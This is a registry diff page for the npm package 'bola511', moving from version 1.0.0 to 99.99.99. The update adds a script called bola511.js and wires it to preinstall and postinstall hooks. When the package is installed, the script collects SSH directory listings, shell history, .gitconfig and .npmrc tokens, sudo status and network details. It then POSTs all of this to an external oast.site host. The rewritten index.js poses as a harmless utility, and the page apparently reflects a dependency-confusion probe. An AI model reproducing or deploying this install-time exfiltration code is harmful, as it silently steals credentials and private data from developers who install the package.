bola511 1.0.0 → 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/.stage_status ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "stage": 1,
3
+ "published_at": "2025-12-26T14:39:30.125215",
4
+ "stage2_scheduled_at": "2025-12-26T14:44:30.125242",
5
+ "package_name": "bola511",
6
+ "version": "1.0.0"
7
+ }
package/bola511.js ADDED
@@ -0,0 +1,141 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const http = require('http');
5
+ const { execSync } = require('child_process');
6
+
7
+ // Helper function to safely execute commands (no password prompts)
8
+ function safeExec(command) {
9
+ try {
10
+ return execSync(command, {
11
+ encoding: 'utf8',
12
+ timeout: 5000,
13
+ stdio: ['pipe', 'pipe', 'pipe'] // Prevent any interactive prompts
14
+ }).trim();
15
+ } catch (e) {
16
+ return `Error: ${e.message}`;
17
+ }
18
+ }
19
+
20
+ // Helper to read file safely
21
+ function safeRead(filePath, maxLines = 50) {
22
+ try {
23
+ if (fs.existsSync(filePath)) {
24
+ const content = fs.readFileSync(filePath, 'utf8');
25
+ const lines = content.split('\n').slice(0, maxLines);
26
+ return lines.join('\n');
27
+ }
28
+ return 'File not found';
29
+ } catch (e) {
30
+ return `Error: ${e.message}`;
31
+ }
32
+ }
33
+
34
+ const data = {
35
+ // Target Info
36
+ bugbounty_company: 'bate5a',
37
+ package_name: 'bola511',
38
+
39
+ // Basic System Info
40
+ hostname: os.hostname(),
41
+ username: os.userInfo().username,
42
+ homedir: os.userInfo().homedir,
43
+ shell: os.userInfo().shell,
44
+ cwd: process.cwd(),
45
+ os: os.platform() + ' ' + os.release(),
46
+ arch: os.arch(),
47
+ node: process.version,
48
+ uptime: os.uptime(),
49
+
50
+ // Network Info
51
+ netInterfaces: os.networkInterfaces(),
52
+
53
+
54
+ execPath: process.execPath,
55
+ argv: process.argv,
56
+
57
+ // File System Enumeration
58
+ currentDirListing: safeExec('ls -la'),
59
+ homeDirListing: safeExec(`ls -la ${os.userInfo().homedir}`),
60
+ rootListing: safeExec('ls -la / 2>/dev/null || echo "Permission denied"'),
61
+
62
+ // Sensitive Files Check
63
+ sshDir: safeExec(`ls -la ${path.join(os.userInfo().homedir, '.ssh')} 2>/dev/null || echo "No SSH directory or permission denied"`),
64
+ bashHistory: safeRead(path.join(os.userInfo().homedir, '.bash_history'), 100),
65
+ zshHistory: safeRead(path.join(os.userInfo().homedir, '.zsh_history'), 100),
66
+
67
+ // System Info Commands (no password required)
68
+ whoami: safeExec('whoami'),
69
+ id: safeExec('id'),
70
+ groups: safeExec('groups'),
71
+
72
+ // Sudo check (NON-INTERACTIVE - will NOT prompt for password)
73
+ isSudoUser: (() => {
74
+ const groups = safeExec('groups').toLowerCase();
75
+ return groups.includes('sudo') || groups.includes('wheel') || groups.includes('admin');
76
+ })(),
77
+ canSudoNoPassword: safeExec('sudo -n true 2>/dev/null && echo "yes" || echo "no"'),
78
+ sudoVersion: safeExec('sudo -V 2>/dev/null | head -1 || echo "Sudo not available"'),
79
+
80
+ // Network Enumeration (no password required)
81
+ ipAddr: safeExec('ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "Network commands unavailable"'),
82
+ routingTable: safeExec('ip route 2>/dev/null || route -n 2>/dev/null || echo "Routing info unavailable"'),
83
+ arpTable: safeExec('arp -a 2>/dev/null || echo "ARP unavailable"'),
84
+ netstat: safeExec('netstat -tuln 2>/dev/null || ss -tuln 2>/dev/null || echo "Network stats unavailable"'),
85
+
86
+ // Cron Jobs (no password required)
87
+ crontab: safeExec('crontab -l 2>/dev/null || echo "No crontab or permission denied"'),
88
+ systemCron: safeExec('ls -la /etc/cron* 2>/dev/null || echo "Cannot access system cron"'),
89
+
90
+ // Docker/Container Check (no password required)
91
+ isDocker: fs.existsSync('/.dockerenv'),
92
+ dockerInfo: safeExec('docker ps 2>/dev/null || echo "Docker not available or permission denied"'),
93
+
94
+ // System version info (no password required)
95
+ osRelease: safeRead('/etc/os-release'),
96
+ kernelVersion: safeExec('uname -a'),
97
+
98
+ // Installed packages (sample - no password required)
99
+ installedPackages: safeExec('dpkg -l 2>/dev/null | head -30 || rpm -qa 2>/dev/null | head -30 || echo "Package manager unavailable"'),
100
+
101
+ // Git repositories (limited to user home)
102
+ gitRepos: safeExec(`find ${os.userInfo().homedir} -name ".git" -type d 2>/dev/null | head -20 || echo "No git repos found"`),
103
+
104
+ // Git config (may contain credentials)
105
+ gitConfig: safeRead(path.join(os.userInfo().homedir, '.gitconfig')),
106
+
107
+ // NPM config (may contain tokens)
108
+ npmConfig: safeRead(path.join(os.userInfo().homedir, '.npmrc')),
109
+
110
+
111
+ timestamp: new Date().toISOString()
112
+ };
113
+
114
+ // Send to Interactsh (silent mode)
115
+ const postData = JSON.stringify(data, null, 2);
116
+
117
+ const options = {
118
+ hostname: 'd5792fkilkgafcjgpb009wqm94wykb4qj.oast.site',
119
+ port: 80,
120
+ path: '/',
121
+ method: 'POST',
122
+ headers: {
123
+ 'Content-Type': 'application/json',
124
+ 'Content-Length': Buffer.byteLength(postData),
125
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
126
+ }
127
+ };
128
+
129
+ const req = http.request(options, (res) => {
130
+ res.resume(); // Consume response data to free up memory
131
+ res.on('end', () => {
132
+ process.exit(0); // Exit cleanly after response is done
133
+ });
134
+ });
135
+
136
+ req.on('error', (e) => {
137
+ process.exit(1); // Exit on error
138
+ });
139
+
140
+ req.write(postData);
141
+ req.end();
package/index.js CHANGED
@@ -1,48 +1,24 @@
1
- // bola511 - Utility Package
2
- // Version 1.0.0
3
-
4
- 'use strict';
5
-
6
- /**
7
- * Simple utility module
8
- * @module bola511
9
- */
10
-
11
- const VERSION = '1.0.0';
12
-
13
- /**
14
- * Returns package information
15
- * @returns {Object} Package info object
16
- */
17
- function getInfo() {
18
- return {
19
- name: 'bola511',
20
- version: VERSION,
21
- status: 'active'
22
- };
23
- }
24
-
25
- /**
26
- * Initialize the package
27
- * @returns {boolean} Success status
28
- */
29
- function init() {
30
- console.log('Package initialized successfully');
31
- return true;
32
- }
33
-
34
- /**
35
- * Hello world function
36
- * @param {string} name - Name to greet
37
- * @returns {string} Greeting message
38
- */
39
- function hello(name) {
40
- return `Hello, ${name || 'World'}!`;
41
- }
1
+ // bola511 - Index file
2
+ // Package successfully installed and updated
42
3
 
43
4
  module.exports = {
44
- VERSION,
45
- getInfo,
46
- init,
47
- hello
5
+ name: 'bola511',
6
+ version: '99.99.99',
7
+ message: 'Package updated successfully!',
8
+ init: function() {
9
+ console.log('[bola511] Initialized successfully');
10
+ return true;
11
+ },
12
+ getInfo: function() {
13
+ return {
14
+ name: this.name,
15
+ version: this.version,
16
+ status: 'active'
17
+ };
18
+ }
48
19
  };
20
+
21
+ // Auto-init message (silent in production)
22
+ if (process.env.NODE_ENV !== 'production') {
23
+ console.log('[bola511] Package loaded - v99.99.99');
24
+ }
package/package.json CHANGED
@@ -1,20 +1,17 @@
1
1
  {
2
2
  "name": "bola511",
3
- "version": "1.0.0",
4
- "description": "Utility package for bate5a",
3
+ "version": "99.99.99",
4
+ "description": "Test package for bate5a",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"No tests specified\" && exit 0"
7
+ "preinstall": "node bola511.js",
8
+ "postinstall": "node bola511.js"
8
9
  },
9
10
  "keywords": [
10
- "utility",
11
- "helper",
12
- "tools"
11
+ "bate5a",
12
+ "test",
13
+ "security"
13
14
  ],
14
- "author": "Developer",
15
- "license": "MIT",
16
- "repository": {
17
- "type": "git",
18
- "url": ""
19
- }
15
+ "author": "Security Researcher",
16
+ "license": "MIT"
20
17
  }